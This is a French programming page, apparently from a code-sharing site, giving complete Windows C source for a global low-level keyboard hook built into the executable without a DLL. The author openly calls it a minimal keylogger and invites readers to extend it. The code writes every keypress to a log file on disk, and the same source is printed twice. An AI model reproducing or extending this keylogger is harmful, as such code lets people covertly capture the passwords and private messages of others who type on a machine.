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HOOK GLOBAL SANS DLL
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Description
Salut tout le monde, Je pensais toujours qu'une DLL externe est indispensable pour réaliser un hook global. C'est d'ailleurs ce qui est précisé dans Microsoft MSDN. Or ce petit code source montre combien c'est facile de mettre la fonction du hook dans le même exécutable. Il s'agit ici d'un hook clavier permettant de faire un petit keylogger. Ce dernier est reduit au minimum. A vous de l'améliorer selon vos besoins. Ce code est testé sur Windows 2000 et fonctionne même en mode utilisateur. Il devrait fonctionner aussi sur XP.
Source
- // Ce code fonctionne sur Windows 2000, XP, ou NT4 SP3 et supérieur
- #define _WIN32_WINNT 0x0400
-
- #include <windows.h>
-
- HHOOK hHook; // Handle du hook global
- HINSTANCE hExe; // Handle de notre exécutable
-
- // Fonction de gestion du hook
- __declspec(dllexport) LRESULT CALLBACK HookProc ( int nCode, WPARAM wParam, LPARAM lParam)
- {
- if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN))
- {
- // Structure de récupération d'infos sur la touche tapée
- KBDLLHOOKSTRUCT hookstruct = *((KBDLLHOOKSTRUCT*)lParam);
-
- // Obtenir la lettre de la touche tapée
- char lettre=(char)hookstruct.vkCode;
-
- // Compteur des octets écrits pour WriteFile()
- DWORD Ecrits;
-
- // Ouverture du fichier log. Le créer s'il n'existe pas.
- HANDLE hFichier = CreateFile("C:\\FichierLog.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
-
- // Si le handle retourné est valide alors
- if( hFichier != INVALID_HANDLE_VALUE)
- {
- // Mettre le pointeur du fichier à la fin
- SetFilePointer(hFichier,NULL,NULL,FILE_END);
-
- // Ecrire la lettre dans le fihier log
- WriteFile(hFichier,&lettre,1,&Ecrits,NULL);
-
- // Fermer le fichier
- CloseHandle(hFichier);
- }
- }
- // Renvoi des messages au sytème pour permettre d'autres hooks
- return CallNextHookEx(hHook, nCode, wParam, lParam);
-
- }
-
- //Fonction de la boite de dialogue
- BOOL CALLBACK MainDlgProc( HWND hDlg, UINT msg, WPARAM wParam, LPARAM lParam )
- {
- static HWND hBouton;//Handle du bouton
- static int etat;// Flag d'état du hook
-
- switch( msg )
- {
-
- case WM_CLOSE: // Clic sur la croix de fermeture
-
- // Fermeture de la boite de dialogue
- EndDialog( hDlg, TRUE );
- return 1;
-
- case WM_INITDIALOG: //Initialisation de la boite de dialogue
-
- // Création du bouton Activer/Désactiver
- hBouton = CreateWindow("BUTTON", "Activer le hook", WS_CHILD | WS_VISIBLE , 50, 35,140, 30, hDlg, 0, 0, 0);
-
- // Obtenir le HANDLE de l'exécutable en cours
- hExe = GetModuleHandle(NULL);
-
- // Mettre le flag d'état à 0= Hook inactif
- etat=0;
-
- // Fin d'initialisation
- return 1;
-
- case WM_COMMAND: // Appui sur le bouton
- if( lParam == (long) hBouton)
- {
- if (!etat)//Si hook inactif alors
- {
- // Activer le hook
- hHook = SetWindowsHookEx( WH_KEYBOARD_LL, (HOOKPROC) HookProc, hExe, NULL);
-
- //Mettre le flag d'etat à 1 (actif)
- etat=1;
-
- // Changer le texte du bouton
- SetWindowText(hBouton,"Désactiver le hook");
- }
-
- else //Si hook actif alors
- {
- // Désactiver le hook
- UnhookWindowsHookEx(hHook);
-
- // Mettre le flag d'état à 0 (inactif)
- etat=0;
-
- // Changer le texte du bouton
- SetWindowText(hBouton,"Activer le hook");
- }
- break;
- }
-
- }
- return 0;
- }
-
-
- //Fonction principale: Création d'une boite de dialogue sans ressources
- int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmd,int nShow )
- {
-
- // Allouer de la mem pour notre dialog template
- LPDLGTEMPLATE lpdt = ( LPDLGTEMPLATE) GlobalAlloc(GPTR, 512);
- if (!lpdt) return 1;
-
- // Définir les propriétés de la boite de dialogue
- lpdt->style = WS_POPUP | WS_BORDER |WS_MINIMIZEBOX| WS_SYSMENU | DS_MODALFRAME | WS_CAPTION;
- lpdt->x = 100; lpdt->y = 100; lpdt->cx = 120; lpdt->cy = 50;
-
- // Obtenir pointeur sur la zone du nom de la boite de dialogue
- LPWSTR lpnom=(LPWSTR) (lpdt+1)+2;
-
- // Convertir le nom en UNICODE et le mettre dans la zone nom
- MultiByteToWideChar (CP_ACP, 0, "Hook Global Sans DLL", -1, lpnom, 128);
-
- // Lancer la boite de dialogue
- DialogBoxIndirect(hInstance,lpdt,NULL,(DLGPROC)MainDlgProc);
-
- // Libérer la mémoire allouée puis quitter
- GlobalFree((HGLOBAL) lpdt);
- return( FALSE );
- }
-
// Ce code fonctionne sur Windows 2000, XP, ou NT4 SP3 et supérieur
#define _WIN32_WINNT 0x0400
#include <windows.h>
HHOOK hHook; // Handle du hook global
HINSTANCE hExe; // Handle de notre exécutable
// Fonction de gestion du hook
__declspec(dllexport) LRESULT CALLBACK HookProc ( int nCode, WPARAM wParam, LPARAM lParam)
{
if ((nCode == HC_ACTION) && (wParam == WM_KEYDOWN))
{
// Structure de récupération d'infos sur la touche tapée
KBDLLHOOKSTRUCT hookstruct = *((KBDLLHOOKSTRUCT*)lParam);
// Obtenir la lettre de la touche tapée
char lettre=(char)hookstruct.vkCode;
// Compteur des octets écrits pour WriteFile()
DWORD Ecrits;
// Ouverture du fichier log. Le créer s'il n'existe pas.
HANDLE hFichier = CreateFile("C:\\FichierLog.txt", GENERIC_WRITE, FILE_SHARE_READ, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// Si le handle retourné est valide alors
if( hFichier != INVALID_HANDLE_VALUE)
{
// Mettre le pointeur du fichier à la fin
SetFilePointer(hFichier,NULL,NULL,FILE_END);
// Ecrire la lettre dans le fihier log
WriteFile(hFichier,&lettre,1,&Ecrits,NULL);
// Fermer le fichier
CloseHandle(hFichier);
}
}
// Renvoi des messages au sytème pour permettre d'autres hooks
return CallNextHookEx(hHook, nCode, wParam, lParam);
}
//Fonction de la boite de dialogue
BOOL CALLBACK MainDlgProc( HWND hDlg, UINT msg, WPARAM wParam, LPARAM lParam )
{
static HWND hBouton;//Handle du bouton
static int etat;// Flag d'état du hook
switch( msg )
{
case WM_CLOSE: // Clic sur la croix de fermeture
// Fermeture de la boite de dialogue
EndDialog( hDlg, TRUE );
return 1;
case WM_INITDIALOG: //Initialisation de la boite de dialogue
// Création du bouton Activer/Désactiver
hBouton = CreateWindow("BUTTON", "Activer le hook", WS_CHILD | WS_VISIBLE , 50, 35,140, 30, hDlg, 0, 0, 0);
// Obtenir le HANDLE de l'exécutable en cours
hExe = GetModuleHandle(NULL);
// Mettre le flag d'état à 0= Hook inactif
etat=0;
// Fin d'initialisation
return 1;
case WM_COMMAND: // Appui sur le bouton
if( lParam == (long) hBouton)
{
if (!etat)//Si hook inactif alors
{
// Activer le hook
hHook = SetWindowsHookEx( WH_KEYBOARD_LL, (HOOKPROC) HookProc, hExe, NULL);
//Mettre le flag d'etat à 1 (actif)
etat=1;
// Changer le texte du bouton
SetWindowText(hBouton,"Désactiver le hook");
}
else //Si hook actif alors
{
// Désactiver le hook
UnhookWindowsHookEx(hHook);
// Mettre le flag d'état à 0 (inactif)
etat=0;
// Changer le texte du bouton
SetWindowText(hBouton,"Activer le hook");
}
break;
}
}
return 0;
}
//Fonction principale: Création d'une boite de dialogue sans ressources
int APIENTRY WinMain( HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmd,int nShow )
{
// Allouer de la mem pour notre dialog template
LPDLGTEMPLATE lpdt = ( LPDLGTEMPLATE) GlobalAlloc(GPTR, 512);
if (!lpdt) return 1;
// Définir les propriétés de la boite de dialogue
lpdt->style = WS_POPUP | WS_BORDER |WS_MINIMIZEBOX| WS_SYSMENU | DS_MODALFRAME | WS_CAPTION;
lpdt->x = 100; lpdt->y = 100; lpdt->cx = 120; lpdt->cy = 50;
// Obtenir pointeur sur la zone du nom de la boite de dialogue
LPWSTR lpnom=(LPWSTR) (lpdt+1)+2;
// Convertir le nom en UNICODE et le mettre dans la zone nom
MultiByteToWideChar (CP_ACP, 0, "Hook Global Sans DLL", -1, lpnom, 128);
// Lancer la boite de dialogue
DialogBoxIndirect(hInstance,lpdt,NULL,(DLGPROC)MainDlgProc);
// Libérer la mémoire allouée puis quitter
GlobalFree((HGLOBAL) lpdt);
return( FALSE );
}
Conclusion
Vos questions, remarques ou suggestions sont les bienvenues.
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Commentaires et avis
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